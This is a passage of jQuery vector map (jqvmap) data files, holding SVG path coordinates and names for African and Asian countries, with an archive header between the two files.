-17.45242,-1.39619 -0.0963,4.47744 -10.15852,8.11237 0,0 z","name":"Guinea"},"sl":{"path":"m 275.52286,214.3099 13.60085,13.14348 9.70114,-11.77136 -6.06622,-9.50856 -8.35309,0.84253 -8.88268,7.29391 0,0 z","name":"Sierra Leone"},"lr":{"path":"m 290.54398,228.89772 26.43139,17.66907 -0.62588,-13.3842 -7.99201,-9.41227 -7.79942,-6.90875 -10.01408,12.03615 0,0 z","name":"Liberia"},"ci":{"path":"m 319.19002,247.09638 10.30295,-7.29391 12.80647,-2.23872 13.07126,2.81646 -6.66803,-10.0863 -1.94986,-6.16251 1.94986,-18.22274 -11.67507,0.55367 -5.29591,-5.05519 -11.1214,0.28887 -5.29591,0.84253 0.55366,12.32502 -2.79238,1.1314 -3.34606,6.16251 8.61789,10.0863 0.84253,14.85261 0,0 z","name":"Cote d'Ivoire"},"ml":{"path":"m 288.83484,172.68888 7.41427,-5.07926 41.21179,-0.24072 -9.53263,-66.29514 10.88068,-0.31294 52.64614,40.17669 7.07726,1.01103 -2.67203,22.3391 -33.09942,3.00904 -25.54072,19.06527 -4.64595,13.04719 -17.7413,0.74624 -4.52559,-13.02312 -13.60085,0.9629 0.52959,-4.2608 -8.40124,-11.14548 0,0 z","name":"Mali"},"bf":{"path":"m 363.77194,168.9336 8.76232,-0.6981 14.37116,20.31703 -13.33605,10.06223 -9.653,-2.47945 -12.97497,0.1685 -2.09429,7.60685 -10.88069,0.52959 -2.98496,-4.06822 3.85157,-12.37316 24.93891,-19.06527 0,0 z","name":"Burkina Faso"},"ne":{"path":"m 388.56641,187.51742 6.13844,-0.14443 5.53663,-8.30495 9.29191,-1.66099 9.89372,6.04215 21.11142,0.60181 16.32102,-6.64396 6.13844,-5.27183 0.45737,-6.93283 11.38621,-11.48249 3.00903,-25.34814 -7.48648,-15.69514 -19.16156,-4.67003 -44.34119,34.56783 -6.28287,-0.60181 -2.6961,24.0001 -22.62797,2.26279 13.31198,19.28192 0,0 z","name":"Niger"},"gh":{"path":"m 348.72674,223.74625 2.6961,6.33101 7.02912,11.02512 3.89971,-0.14443 10.63996,-6.04215 -0.74624,-34.39933 -8.23273,-2.40723 -11.53064,0.31294 -3.75528,25.32407 0,0 z","name":"Ghana"},"tg":{"path":"m 374.91741,233.85661 6.45138,-3.77935 -0.14443,-24.91484 -4.18858,-6.78839 -2.6961,2.2628 0.57773,33.21978 0,0 z","name":"Togo"},"bj":{"path":"m 383.31865,229.61989 h 5.10333 l 0.28887,-14.49153 6.45138,-9.36413 -0.28887,-16.29695 -5.84957,-0.14444 -10.03816,7.84758 4.18859,7.992 0.14443,24.45747 0,0 z","name":"Benin"},"ng":{"path":"m 390.20333,229.33102 9.43635,0.45737 11.3862,12.68611 5.53663,1.51656 4.33301,-2.11837 6.59582,-0.91474 2.23872,-9.19563 8.97897,-5.89771 9.72521,-0.45738 17.81351,-32.76241 -0.28887,-7.3902 -8.23273,-6.33101 -16.46545,7.24576 -22.02617,-0.31294 -10.49552,-6.64395 -7.48649,1.66098 -3.89971,6.7884 -0.28887,19.16155 -6.28287,8.90676 -0.57774,13.60085 0,0 z","name":"Nigeria"},"tn":{"path":"m 422.31579,7.7694978 13.31199,-5.3681247 4.38116,2.8405323 0.1685,3.4664124 -2.04614,2.6720262 0.31294,4.742245 2.04614,1.107326 v 8.521597 l -2.35908,3.947858 0.31294,2.527593 8.93082,3.153472 -7.19762,11.193623 -2.81646,-0.168506 -0.48144,9.003043 -3.1294,0.481446 -2.67203,-2.359086 0.62588,-9.147477 -8.76232,-8.521597 -1.10733,-7.414271 4.23673,-3.321978 -3.75528,-17.3561342 0,0 z","name":"Tunisia"},"ly":{"path":"m 434.68896,57.599175 3.75528,-0.62588 1.10732,-8.666031 h 1.87764 l 7.67907,-12.613889 18.9449,5.512559 5.17555,8.04015 18.63197,8.521597 9.70114,-4.092292 -0.93882,-4.092292 -4.23673,-4.092293 0.48145,-2.840532 6.88468,-5.825498 h 13.62492 l 5.17555,6.932824 10.9529,1.588773 1.42027,88.802739 -8.13644,-0.31294 -49.15566,-25.56479 -5.31998,3.00904 -20.19666,-5.05518 -5.48849,-7.245767 -7.99201,-1.107326 -4.06822,-7.245765 0.12037,-33.027207 0,0 z","name":"Libya"},"eg":{"path":"m 535.50378,45.635238 6.42731,0.168506 12.5176,3.466413 5.94586,0.168506 7.36612,-6.162511 h 3.44234 l 6.2588,3.466412 h 7.91979 l 1.42027,-0.09629 5.00704,14.39524 1.42027,4.645956 1.32397,6.956897 -2.35908,1.733206 -4.06822,-2.046146 -4.6941,-15.309988 -4.23673,-0.31294 -0.31294,5.199618 2.81646,9.003044 22.55575,27.923877 0.48145,11.988012 -6.57174,7.58278 -61.7214,-0.6981 -0.93882,-72.072493 0,0 z","name":"Egypt"},"td":{"path":"m 465.35708,173.07404 0.31294,-7.10133 11.41027,-11.09734 3.05718,-27.24985 -7.60685,-14.53967 5.31998,-2.72018 51.51474,26.84063 -0.31294,26.3351 -9.07526,7.72721 v 13.57679 l 5.94586,11.50656 h -10.49552 l -17.38021,17.18763 -0.45737,5.19962 -12.83054,-0.16851 -0.16851,2.35909 -7.31798,-0.9629 -5.00704,-9.46041 -3.75528,-1.85357 0.48144,-2.88868 4.71818,-3.61085 v -16.89876 l -6.5236,-1.01103 -7.87164,-5.84957 6.04215,-5.31998 0,0 0,0 z","name":"Chad"},"sd":{"path":"m 531.21891,164.48022 0.4333,-28.47754 5.92179,0.16851 -0.67402,-15.81551 62.10655,0.55367 8.88268,-8.9549 19.16156,30.64404 -10.49553,12.37317 v 18.89676 l -16.5136,35.50666 -5.68107,2.50352 1.80543,9.89372 h 7.07726 l 9.60485,13.93786 -7.70314,0.98697 -1.97393,3.58677 -0.19258,5.17555 -23.10941,-0.40923 -2.35909,-3.58678 -16.15252,-0.91474 -29.65708,-30.52369 2.96089,-1.78135 0.79439,-7.17355 -7.10133,-4.18858 -6.47545,-12.7824 0.36108,-11.89172 8.97897,-7.72721 0,0 z","name":"Sudan"},"cm":{"path":"m 429.32083,241.15052 7.75128,7.12541 -0.55366,11.02511 42.5117,-0.98696 3.46641,-3.89971 -12.18059,-13.11941 -1.80542,-4.74225 7.75128,-14.5156 -5.27183,-9.62892 -4.42931,-2.38316 v -4.88668 l 5.1274,-3.34605 0.28887,-15.2137 -4.06822,-0.45737 -0.0722,7.992 -17.86165,33.34015 -10.92883,0.55366 -7.48648,5.15148 -2.23873,7.992 0,0 z","name":"Cameroon"},"er":{"path":"m 619.22727,169.94464 -0.60181,-14.17859 9.53263,-11.12141 2.57574,1.97393 4.6941,15.69515 22.53168,16.77839 -4.09229,5.03112 -16.48953,-14.17859 h -18.15052 l 0,0 z","name":"Eritrea"},"dj":{"path":"m 654.78207,186.4101 -1.37212,8.08829 9.53263,-0.14443 0.14443,-11.89172 -3.49048,-2.14244 -4.81446,6.0903 0,0 z","name":"Djibouti"},"et":{"path":"m 601.84706,211.01199 17.52464,-38.99713 17.40428,0.0963 15.43035,13.40828 -1.08325,11.04919 h 11.96393 l 1.22769,6.64396 19.35414,11.57878 11.93986,0.6018 -22.70018,24.38525 -31.17364,9.60485 h -7.72721 l -13.76936,-11.74728 -5.44035,-2.28687 -10.54367,-15.52664 -6.95689,0.0963 -0.81846,-7.1254 5.36812,-1.78136 0,0 z","name":"Ethiopia"},"so":{"path":"m 665.03687,194.8354 9.8215,6.6921 2.91275,-0.14443 24.38525,-8.37716 2.76832,8.93082 -1.94986,7.53464 -5.27184,4.18858 -13.16755,-0.84253 -18.84862,-11.57878 -0.64995,-6.40324 0,0 m 39.06936,-2.38316 10.5196,-4.04414 3.7312,2.23872 -0.40923,9.34006 -9.70114,27.63501 -52.5017,56.23291 -6.09029,-4.18858 -0.40923,-23.7353 7.89571,-9.07526 16.75433,-5.17555 24.57783,-25.94994 6.4273,-5.72921 1.80543,-8.37717 -2.59981,-9.17155 0,0 z","name":"Somalia"},"cf":{"path":"m 472.26583,240.59686 11.21769,12.13244 4.42931,-5.72921 7.05318,0.28887 1.51656,-5.58477 6.93282,-4.33302 14.39525,9.91779 8.30494,-8.23273 32.23282,1.42027 -29.8978,-30.8607 4.02007,-2.50352 0.55366,-5.44034 -6.78839,-3.20162 h -9.96593 l -16.05623,15.9118 -0.55367,6.54767 -12.73425,-0.40923 -0.40923,2.79238 -8.30494,-0.84253 -7.48649,14.22674 1.54063,3.89971 0,0 z","name":"Central African Republic"},"gq":{"path":"m 426.96174,248.68516 -1.10732,4.74224 3.32198,1.80542 3.17754,-2.38315 -1.10732,-4.88668 -4.28488,0.72217 0,0 m 9.99001,12.71017 -0.14443,3.34606 10.92883,0.55366 -0.14444,-3.77935 -10.63996,-0.12037 0,0 z","name":"Equatorial Guinea"},"ga":{"path":"m 449.9508,261.2509 -0.28887,5.99401 -13.57678,-0.28887 -8.30495,16.05623 19.52264,21.35213 4.83854,-4.04414 -0.14444,-4.18858 -3.32197,-1.54063 v -2.93682 l 7.48648,-4.74225 6.64396,5.03111 7.34206,0.14444 -0.14444,-25.25185 -11.62692,-0.55367 -0.14444,-5.2959 -8.28087,0.26479 0,0 z","name":"Gabon"},"cg":{"path":"m 461.04813,260.98611 -0.14443,3.49048 11.50656,0.28887 0.40923,29.87373 -10.5196,-0.28887 -6.09029,-4.74224 -4.71817,2.64795 -0.21665,1.32398 2.4313,1.17954 0.6981,6.13844 -6.49953,5.58478 1.3962,2.93682 7.19762,-5.58478 h 3.46641 l 1.10733,3.34605 4.57373,1.94986 14.68411,-12.42131 -0.28887,-9.07526 3.05719,-7.3902 9.41227,-6.98097 2.52759,-23.61493 -6.6921,0.0241 -7.75128,10.61589 -19.54672,0.6981 0,0 z","name":"Congo"},"ao":{"path":"m 450.33596,310.83986 4.18858,5.44034 5.41627,-5.1274 -1.58878,-5.31998 -1.34804,-0.0963 -6.66803,5.10333 0,0 m 4.98296,8.37716 8.20866,30.64405 -0.19258,9.67706 -12.01208,12.90276 -1.80542,20.96698 46.21883,0.40923 15.02112,5.44034 12.39724,-1.61284 -7.22169,-9.05119 0.0241,-25.85366 14.20266,-0.60181 v -10.08629 l -11.53064,-0.48145 -2.31094,-23.87973 -4.8626,0.0722 -2.62389,-2.35909 -2.8646,0.14444 -3.80343,7.36612 H 487.5277 l -3.39419,-3.41827 1.01103,-4.83853 -3.996,-5.84957 -25.82959,0.40923 0,0 z","name":"Angola"},"cd":{"path":"m 457.14842,316.80979 24.81855,-0.4333 5.03111,7.14947 -0.19258,5.27184 1.85357,1.68506 h 12.32502 l 3.53863,-6.9569 h 5.03111 l 2.04615,2.07022 6.90875,-0.19258 2.04615,24.26489 11.93986,0.38516 v 1.87764 l 32.08839,14.46745 1.49248,2.81646 h 6.71618 l -0.74625,-10.15851 -12.13244,-5.8255 0.74624,-7.70314 5.22369,-12.22873 11.93987,-0.38516 -10.2548,-34.03824 0.19257,-14.46746 16.22474,-25.37221 0.19258,-3.5627 -2.4313,-1.32398 0.0963,-6.88468 -2.96089,-0.2648 -2.98497,-3.80342 -48.98714,-2.21465 -8.97897,8.73825 -14.70818,-9.67707 -5.17555,3.17754 -3.75528,31.60694 -9.29191,7.17355 -2.79239,6.35509 0.50552,9.41227 -16.75433,13.69715 -4.45337,-2.02208 0.6018,2.62388 -4.95889,4.74225 0,0 z","name":"Congo"},"rw":{"path":"m 573.75468,278.75147 6.76432,6.23473 -0.28887,6.66803 -10.49553,0.21665 v -7.36613 l 4.02008,-5.75328 0,0 z","name":"Rwanda"},"bi":{"path":"m 569.87904,293.9411 10.27887,-0.21666 -2.67202,9.00305 -2.59981,2.26279 h -3.17755 l -2.26279,-6.09029 0.4333,-4.95889 0,0 z","name":"Burundi"},"ug":{"path":"m 574.91015,276.80161 7.29391,6.83654 4.57374,-2.91275 12.37316,-2.02208 2.11837,0.21666 0.79438,-4.6941 6.98097,-14.68411 -5.87364,-12.22874 -19.0412,0.12037 -0.12036,5.03111 2.55167,2.45537 -0.38516,5.03112 -11.26584,16.85061 0,0 z","name":"Uganda"},"ke":{"path":"m 605.07275,246.54272 6.40324,12.49353 -7.67907,16.10437 -1.01104,4.88668 38.34719,23.71122 11.89172,-18.68011 -6.01808,-4.88667 -0.12036,-24.6019 7.53463,-8.23273 -12.01208,3.996 -9.07526,0.12036 -14.20266,-11.98801 -4.47745,-1.92578 -8.30495,0.77031 -1.46841,2.45538 0.19258,5.77735 0,0 z","name":"Kenya"},"tz":{"path":"m 604.44687,354.62738 42.05432,-5.15147 -9.46041,-18.29495 -0.50552,-17.52464 3.05718,-8.37717 -40.00817,-25.13149 -12.54168,2.07022 -4.35708,3.22569 -0.38516,7.34205 -2.81646,10.18259 -2.93682,3.49049 -4.21266,0.38515 8.06423,27.94795 13.16755,6.18659 9.07526,0.26479 1.80542,13.3842 0,0 z","name":"Tanzania"},"zm":{"path":"m 517.73842,386.59541 7.63092,10.59181 11.8195,0.72217 4.18858,2.31095 12.37317,0.14443 10.66403,-14.9489 29.80152,-13.33606 2.59981,-11.74729 -3.46641,-16.82654 -15.55071,-8.85861 -10.37517,0.72217 -5.17554,11.45842 0.14443,5.22369 12.22873,5.94586 0.72217,12.92683 -10.5196,0.57773 -2.59981,-4.35709 -29.22378,-12.46945 -0.8666,9.58078 -13.81751,0.4333 -0.57773,21.9058 0,0 z","name":"Zambia"},"mw":{"path":"m 596.23821,373.83709 7.48649,7.8235 -0.14443,10.01408 1.44434,4.21265 9.94186,-10.73625 -1.15547,-13.649 -5.31998,-4.06822 -4.74225,-23.95194 -8.20865,-0.28887 3.73121,17.25984 -3.03312,13.38421 0,0 z","name":"Malawi"},"mz":{"path":"m 581.8189,455.39407 6.47545,5.36812 15.26185,-9.29191 2.45537,-13.79343 v -22.77241 l 24.48154,-20.02816 4.18858,0.14444 14.82854,-14.22674 -2.31094,-29.32007 -39.31008,4.9589 1.15547,8.85861 6.76432,5.22369 1.58877,15.95994 -13.23977,12.92683 -3.17754,-7.24577 0.57773,-9.58078 -7.63092,-8.28087 -18.72825,8.71417 17.42835,8.85861 0.57773,25.82959 -11.53063,17.11541 0.14443,20.58183 0,0 z","name":"Mozambique"},"zw":{"path":"m 542.07552,404.89036 21.59286,24.38525 16.56175,4.21265 11.09733,-17.40427 -0.8666,-23.06128 -18.00609,-9.29191 -6.76431,3.05719 -10.0863,15.3822 -13.96194,-0.14443 0.4333,2.8646 0,0 z","name":"Zimbabwe"},"na":{"path":"m 474.40826,476.28883 8.06423,0.57773 4.74224,4.79039 11.24177,0.14444 2.74424,-31.91988 v -20.89477 l 7.19762,-1.44434 2.74425,-21.9058 18.29495,-0.57773 6.47545,-5.36813 -10.9529,-0.4333 -14.82854,2.02208 -15.98401,-5.80143 h -44.91893 l 1.15547,12.75832 14.97298,22.05024 -2.59981,11.31398 0.14443,5.94586 11.50656,28.74234 0,0 z","name":"Namibia"},"bw":{"path":"m 503.19874,450.45924 5.17555,1.58877 -0.72217,14.80447 5.31998,0.72217 12.22873,-11.02511 14.68411,1.58877 3.89972,-9.86965 18.58382,-16.97098 -22.31503,-25.68515 -0.28887,-4.21265 -2.45538,-0.72217 -6.76431,6.23473 -17.57279,0.4333 -2.45537,21.9058 -6.90876,1.58877 -0.40923,19.61893 0,0 z","name":"Botswana"},"sz":{"path":"m 581.09673,457.12727 -6.04215,1.01104 -2.59981,7.10133 4.62189,4.21265 h 5.60885 l 4.74224,-6.81246 -6.33102,-5.51256 0,0 z","name":"Swaziland"},"ls":{"path":"m 548.69541,484.54563 7.34205,-5.65699 3.46641,0.14443 4.18858,5.22369 -0.4333,5.22369 -7.05318,2.59981 v 2.02208 l -7.77536,-0.43331 -1.87764,-5.65699 2.14244,-3.46641 0,0 z","name":"Lesotho"},"za":{"path":"m 564.94421,432.16429 -19.01712,17.57278 -4.52559,10.85661 -15.06927,-1.87764 -12.54167,11.14548 -8.32902,-0.81846 0.67403,-15.40627 -2.9609,-1.03511 -2.07022,31.51065 -14.78039,-0.14444 -4.45338,-5.24776 -6.5236,-0.0722 5.94586,17.06727 10.61589,10.03815 -7.58278,8.83454 4.91076,11.07326 11.36212,4.33302 9.05119,-7.70314 25.92588,0.14443 1.85357,-2.31094 11.50656,-2.02207 38.92492,-38.75642 -0.14443,-12.20466 -4.16451,5.3922 h -6.23473 l -7.58278,-6.35509 3.85157,-9.58078 6.61989,-1.34805 -0.60181,-19.69115 -14.66004,-3.39419 0,0 z m -9.1234,44.53377 3.63492,-0.14444 5.89771,6.40324 -0.1685,7.41427 -6.90876,3.49048 -0.4333,2.45538 -10.54367,0.12036 -3.2979,-7.94386 3.00903,-5.8255 8.81047,-5.96993 0,0 z","name":"South Africa"},"mg":{"path":"m 704.90061,358.23823 -5.1274,12.18059 -8.78639,15.50256 -15.38221,1.10733 -6.59581,7.75128 1.10733,23.63901 -9.53264,11.07326 1.10733,18.82455 8.06422,9.21969 9.53264,-1.10733 9.53263,-7.02911 -2.19058,-11.07326 21.97802,-38.03425 -4.40523,-4.79039 4.40523,-9.21969 4.76632,1.46841 1.46841,-3.68306 -4.40524,-18.82455 -2.57573,-7.75128 -2.9609,0.74624 0,0 z","name":"Madagascar"}}});
js/jqvmap/maps/continents/jquery.vmap.asia.js000060400000071750150710775200015347 0ustar00/** Add World Map Data Points */
jQuery.fn.vectorMap('addMap', 'asia_en', {"width":950,"height":550,"pathes":{"id":{"path":"m 615.27242,460.80117 -3.29462,12.37981 -17.87084,6.03301 -5.34842,-6.27548 -2.59577,0.71313 4.84924,18.71232 7.25958,0.81296 9.6842,3.66545 v 3.66545 l 4.43562,-0.81296 6.46089,-8.94255 v -7.31664 l 3.63692,-7.31663 4.03627,0.81296 -4.84923,-10.16912 -0.74165,-6.54647 -5.66219,0.58476 0,0 m -84.43367,-9.74124 -0.39934,3.25183 9.6842,16.27345 h 2.82396 l 20.18136,33.75921 8.07254,0.81296 4.03627,-11.79505 -6.46088,-4.06479 -1.21231,-6.50368 -36.7258,-31.73393 0,0 m 95.62969,44.98374 3.22331,3.9507 -2.09658,5.93318 v 1.12673 h 4.76366 l 1.68297,-14.83294 1.54034,0.42787 2.79544,13.54932 2.66708,0.71313 2.52445,-5.79056 -2.52445,-8.75714 -2.09658,-3.80807 6.58925,-4.80644 -1.54035,-2.12511 -6.304,4.09332 h -1.68296 l -3.08069,-4.52119 0.98411,-1.98248 5.19153,-2.53872 7.84434,2.3961 2.38183,-0.14263 5.89039,-5.5053 -2.38183,-2.39609 -5.46252,4.23594 h -3.50856 l -5.31989,-2.53871 -3.77955,0.14262 -4.20742,6.77466 -2.66707,11.72373 -1.42625,4.67808 0,0 m 35.17119,-26.5424 -2.66708,6.48941 4.20742,5.5053 h 1.39772 l 1.82559,-3.66545 0.98411,-1.26935 -1.82559,-1.98248 -2.66708,-0.98411 -1.25509,-4.09332 0,0 m 8.27222,21.32235 -5.74777,1.26936 -1.68297,1.83985 1.39772,2.39609 3.77955,-1.41198 2.38183,-1.41198 3.50856,2.82396 1.54034,-1.26935 -2.79544,-3.39447 -2.38182,-0.84148 0,0 m -95.30166,18.35576 -3.92217,2.68134 0.84149,2.25347 12.47964,2.82396 6.304,1.12674 2.66707,2.82396 7.14549,0.5705 3.36593,2.82396 3.08069,-0.71312 2.8097,-2.53871 -5.19153,-2.39609 -4.4784,-3.80808 -11.63816,-2.82396 -13.46375,-2.82397 0,0 m 40.79059,12.27997 -3.08068,1.69723 1.82559,1.98248 4.47841,-1.69723 -3.22332,-1.98248 0,0 m 5.3199,-1.26936 0.55623,2.68134 3.22331,0.84149 1.2551,-1.55461 -1.39772,-2.12511 -3.63692,0.15689 0,0 m 7.71598,7.05991 -3.92217,0.5705 3.50856,2.96659 h 2.79544 l -2.38183,-3.53709 0,0 m 1.11247,-4.66382 -0.84149,1.69723 6.30401,0.98411 4.90628,-2.82396 -2.79544,-0.84149 -4.47841,1.26936 -1.68297,-1.41198 -1.41198,1.12673 0,0 m 57.39207,-40.47681 -5.94744,0.67033 -3.82233,2.79544 1.58313,3.19479 6.47515,1.19804 v 1.19805 l -4.09332,3.32315 1.98248,6.91728 1.98248,0.12836 1.71149,-6.78892 h 3.16626 l 1.32641,6.6463 15.44623,12.77915 0.39935,9.98371 5.2771,5.71924 2.38183,-0.12836 0.52771,-35.25676 -8.97108,-6.24695 -8.45763,5.71924 -3.0379,1.86838 -5.02038,-3.19479 -0.12836,-10.11207 -2.78118,-0.41361 0,0 z","name":"Indonesia"},"ye":{"path":"m 355.61037,425.50163 3.0379,3.39446 4.10758,-2.48167 1.4833,-0.49918 -1.88265,-1.8256 -3.6084,1.06969 -3.13773,0.3423 0,0 m -39.40714,-14.86147 2.0538,6.10433 v 5.9617 l 4.9348,4.4784 34.77184,-14.1626 0.32804,-3.89365 -5.57662,-10.01224 -13.99146,4.46415 -8.02975,7.90139 -9.31338,-5.5053 -5.17727,4.66382 0,0 z","name":"Yemen"},"my":{"path":"m 590.2561,472.95278 4.30725,4.97759 16.51591,-5.71924 3.2661,-12.608 7.35942,-0.52771 6.73188,-4.87776 -8.72862,-6.36105 -1.99674,-3.4943 -4.30726,7.94419 1.58313,4.56398 -2.62429,3.80807 -4.94906,-1.26936 -11.99472,8.79993 0.31377,5.09169 -5.47677,-0.32803 0,0 m -44.82687,-24.91649 2.86676,6.43236 0.64181,8.35779 3.83659,5.94744 9.25633,5.6194 3.50856,0.32804 -0.64181,-5.79055 -3.0379,-7.38795 -4.44988,-9.456 -0.37083,1.65444 -5.36268,-0.24246 -3.85086,-5.53382 -2.39609,0.0713 0,0 z","name":"Malaysia"},"bn":{"path":"m 612.5483,453.45602 -4.10759,4.97759 3.36594,1.05542 1.8969,-2.65281 -1.15525,-3.3802 0,0 z","name":"Brunei Darussalam"},"tl":{"path":"m 650.15836,523.58445 -7.28811,6.0758 0.69886,1.55461 3.08069,-0.5705 3.63692,-3.39446 7.14549,-0.98411 -1.39772,-2.39609 -5.87613,-0.28525 0,0 z","name":"Timor-Leste"},"ph":{"path":"m 626.24024,422.47799 -1.22657,2.33904 -0.6846,2.88101 -6.81744,8.65731 0.41361,1.7828 2.86675,-0.41361 8.85698,-9.89814 -3.40873,-5.34841 0,0 m 11.03913,-3.29463 -0.14262,7.14549 2.59576,2.61002 0.95559,5.07743 2.59576,0.55624 1.22657,-3.16626 -2.03953,-1.51182 -0.54197,-8.92829 -4.64956,-1.78281 0,0 m 7.37369,2.75265 -0.14263,6.31827 1.49756,2.4674 2.59576,-3.02364 -0.68459,-5.49104 -3.2661,-0.27099 0,0 m 1.62592,-5.5053 2.59576,3.43725 1.22657,3.29463 h 2.32478 l -0.41361,-5.63367 -2.59577,-1.78281 -3.13773,0.6846 0,0 m 5.0489,12.92178 0.54197,4.12184 -4.77791,3.85086 -3.9507,0.41361 -4.22169,4.53546 0.14263,2.06805 3.9507,-1.24083 2.72412,-1.7828 2.32478,5.90465 4.09332,2.88101 1.64018,-0.55623 1.49756,-1.78281 -3.2661,-3.29462 1.91117,-1.51182 2.18215,1.7828 1.49756,-2.4674 -1.49756,-3.02364 -0.27098,-6.73187 -4.5212,-3.16626 0,0 m -22.22089,-41.90306 -3.67971,2.61002 -0.41361,8.2437 5.7335,11.1247 1.91117,1.51182 2.45314,-1.65444 4.22169,0.68459 0.81295,3.70824 3.13774,0.27099 1.49756,-2.0538 -1.91117,-2.61002 -2.32478,-2.19642 -4.90628,-0.54197 -2.59576,-4.26447 2.99511,-4.53546 0.27099,-3.97922 -2.03953,-5.07743 -5.16301,-1.24083 0,0 m 1.91117,24.58845 1.08395,3.85086 1.91116,1.24083 1.3692,-1.7828 -2.18216,-3.02364 -2.18215,-0.28525 0,0 z","name":"Philippines"},"cn":{"path":"m 584.10898,383.45594 -3.40872,0.95558 -2.45314,3.02364 2.03953,3.97922 2.99511,0.27099 3.40872,-3.02364 0.81296,-3.97922 -3.39446,-1.22657 0,0 m -127.54903,-142.76706 -4.93481,12.40832 -6.80319,-0.35656 -7.174,15.70295 6.09006,7.75877 -12.55095,17.32887 -6.44663,-1.08394 -4.30725,5.41972 1.06968,3.25184 5.02038,0.35656 2.51019,5.77629 5.02038,1.08395 15.4177,19.86758 v 10.11208 l 7.53057,4.69234 8.24369,-1.44051 10.39733,6.13285 12.55095,3.6084 6.09006,-0.72738 6.81745,-0.72739 14.33375,-9.38469 4.66382,0.72739 1.78281,4.23595 3.9507,1.18378 5.37694,7.94418 -3.57988,7.94418 2.15363,5.41973 6.09007,2.16789 1.06968,6.50368 7.17401,0.72738 1.06968,-3.25184 10.39732,-5.41973 6.44663,0.35657 7.53057,8.30074 5.02038,-2.16789 3.22331,0.35656 1.44051,3.97922 2.51019,0.35656 3.57987,-5.04891 14.33376,-5.41972 12.90751,-15.53181 4.30726,-14.80441 -0.35656,-9.75551 -5.37694,-1.08395 3.22331,-3.6084 -0.71312,-5.77629 -13.62064,-13.72047 v -6.86023 l 3.93644,-5.04891 3.93643,-1.81133 0.35656,-3.97922 H 598.2288 l -1.79707,5.41973 -4.66382,-1.08395 -5.7335,-6.13285 3.57988,-9.38469 5.02038,-5.41973 4.66382,0.35656 -0.71313,8.30075 2.51019,2.16789 6.09007,-6.13285 2.15363,-0.35656 -0.71313,-4.69235 5.73351,-6.86023 4.30725,0.35656 2.51019,-7.94418 2.93807,-1.55461 0.29951,-4.94907 -2.85249,-2.99511 -0.24246,-7.81582 5.49104,-0.35656 -0.35656,-20.15284 -3.85086,2.31052 -1.44051,5.16301 -6.43236,-0.0143 -18.64101,-10.48289 -13.46375,-16.23066 -13.66342,-0.14263 -3.48004,3.02364 4.42136,10.12633 -1.54035,9.49879 -5.5053,2.28199 -3.09495,-0.24246 -0.2282,9.39895 3.22331,0.72739 5.73351,-2.52446 7.53057,3.6084 v 3.6084 l -5.37694,0.35656 -4.30726,9.38469 -3.93644,0.35656 -13.97719,18.41282 -14.69032,6.50367 -10.04076,0.72739 -6.80319,-4.69235 -9.6842,5.06317 -10.39732,-3.25184 -2.51019,-6.86023 -17.55707,-1.08395 -9.31337,-15.16098 h -3.93644 l -3.16626,-7.03138 -3.76528,-0.29951 z","name":"China"},"tw":{"path":"m 623.51612,352.27824 -5.04891,3.85086 -0.27099,7.41647 4.36431,5.07743 1.08395,-0.95558 -0.12836,-15.38918 0,0 z","name":"Taiwan"},"jp":{"path":"m 646.00799,306.7953 -2.32478,2.33905 0.95558,3.29462 2.03953,0.14262 1.3692,7.14549 1.64018,1.7828 2.86675,-2.61002 1.22657,-4.67808 -3.55135,-5.07743 -4.22168,-2.33905 0,0 m 12.55095,-4.66381 -3.9507,3.70823 -0.14262,4.26447 0.95558,1.24083 5.31989,-4.53545 -0.41361,-4.53546 -1.76854,-0.14262 0,0 m -5.46252,-8.79993 -6.96007,7.9727 1.22657,1.92543 3.40873,0.41361 6.40383,-4.94906 4.50694,-0.82723 4.09332,4.80645 3.13773,-1.09821 1.22657,-4.67808 5.86187,-0.14263 5.7335,-6.87449 -2.99511,-11.40996 -1.3692,-6.04728 2.99512,-2.4674 -6.81745,-10.29748 -1.76854,0.14262 -3.67971,4.12185 v 3.43725 l 1.64018,1.92543 0.54197,9.07091 -4.22168,5.22006 -2.45314,-1.51182 -1.91117,4.26447 -0.41361,3.97922 1.49755,2.33904 -0.95558,1.78281 -3.13774,-2.61003 h -2.18215 l -1.91117,1.09821 -1.49756,0.41361 0,0 m 11.738,-62.09868 -2.18216,1.92543 1.09821,4.12184 1.91117,1.92543 -0.14263,6.31827 -2.45314,0.95558 -1.91117,4.26447 5.59088,7.68746 3.67971,-1.24084 0.6846,-1.92543 -3.9507,-3.56561 2.45314,-3.16626 2.59577,0.41361 2.03953,2.19642 0.14262,-4.53546 5.59088,-4.53546 3.13774,-0.82722 -2.59577,-4.39283 -1.22657,-1.92543 -2.03953,1.36919 -1.76854,2.19642 -3.82233,-0.82722 -3.9507,-2.61003 -2.88101,-3.82233 0,0 z","name":"Japan"},"ru":{"path":"m 222.95538,214.51729 -2.13937,-0.21393 -3.85086,4.60676 v 2.15363 l 1.28362,0.49919 2.49593,0.0713 4.13611,-3.3802 0.57049,-1.15526 -2.49592,-2.5815 0,0 m 462.45974,12.45112 -3.82233,5.36267 0.27098,2.61003 1.91117,-0.82722 4.49267,-5.63367 -2.85249,-1.51181 0,0 m 5.04891,-7.83009 -1.3692,3.70824 0.14263,2.4674 2.32478,-1.51182 2.18215,-4.39283 v -1.64018 l -3.28036,1.36919 0,0 m 8.04402,-32.70378 -1.76855,2.19642 0.14263,3.43724 1.64018,-0.14262 2.72413,-4.80644 -2.73839,-0.6846 0,0 m -3.2661,8.38632 v 6.04727 l 1.91116,0.6846 1.3692,-2.19642 v -4.66382 l -3.28036,0.12837 0,0 m -55.78042,-21.85007 -0.12836,8.79993 11.03913,17.04362 3.95069,14.83294 6.96008,13.19276 2.72412,0.95559 2.32478,-1.92543 1.08395,-3.16627 -9.95519,-10.85372 0.27099,-5.63366 2.18215,-0.95558 0.54198,-3.29463 -19.49677,-27.61209 -1.49755,-1.38346 0,0 m 76.91736,-27.3411 -2.72413,0.27098 1.64018,2.33904 3.40873,2.33905 0.95558,-1.09821 -3.28036,-3.85086 0,0 m 5.30563,1.65444 0.41361,2.33904 4.22168,1.24083 0.41361,-1.65444 -5.0489,-1.92543 0,0 m -439.95361,-93.832618 2.45314,0.984108 -1.72576,2.966589 v 4.207421 l -3.67971,2.224941 h -3.92217 l -2.21068,-2.724127 0.24246,-2.966588 1.72576,-2.224942 h 3.43725 l 3.67971,-2.467402 0,0 m 9.32764,-2.724127 v 2.966588 l 2.45314,1.98248 3.43724,-0.242462 2.95233,-2.724126 v -1.98248 h -2.6956 l -2.21068,0.741647 -1.72576,-1.98248 -2.21067,1.240833 0,0 m 14.00572,0.256724 1.72575,3.708235 